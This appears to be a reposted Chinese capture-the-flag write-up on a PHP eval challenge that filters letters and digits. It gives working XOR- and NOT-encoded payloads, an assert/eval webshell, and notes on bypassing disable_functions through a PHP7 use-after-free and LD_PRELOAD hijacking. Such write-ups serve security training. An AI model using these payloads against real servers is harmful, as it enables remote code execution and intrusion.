[BUUOJ記錄] [極客大挑戰 2019]RCE ME


前面考察取反或者異或繞過,后面讀Flag那里我用臟方法過了,沒看出來考察啥

進入題目給出源碼:

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
        if(strlen($code)>40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>  

過濾了字母數字,考慮異或或者取反繞過,老套路

先構造一個Payload看看phpinfo,看一下PHP版本以及禁用函數:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

 

 

 可以看到是PHP7,但是system、exec、shell_exec等命令執行的函數都被Ban了,先構造個Shell連上看一下:

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

根目錄下可以看到/flag和/readflag兩個文件,應該是要通過執行/readflag來獲取Flag的

 

 但是執行命令的函數都被禁用了,想到蟻劍有一個繞過disable_functions的插件,正好有PHP7的UAF

運行得到終端,運行/readflag獲得Flag:

 

 

但這個應該不是預期的解法,做完之后又看了一下出題師傅的預期解法:

一般來說,最簡單的繞過disable_function的辦法,dl函數,proc_open函數,漏洞版本的imagemagic等
這里的話都過濾的比較好,
這時候,就可以用這段時間比較好用的環境變量 LD_preload + mail劫持so來執行系統命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具體原理上面講的比我好,大概就是通過linux提供的LD_preload環境變量,劫持共享so,在啟動子進程的時候,新的子進程會加載我們惡意的so拓展,然后我們可以在so里面定義同名函數,即可劫持API調用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同學做到這一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶機上前人做題留下來的腳本直接使用拿到/flag,並沒有自己去想怎么繞過disable_function

這里劫持共享so的具體操作可以參考:http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

前面的預期exp還是利用了PHP7的特性,構造了一個取反的payload:

(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

然后可以在U-A頭中執行命令,具體的可以參考出題師傅的博客:https://evoa.me/index.php/archives/62/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM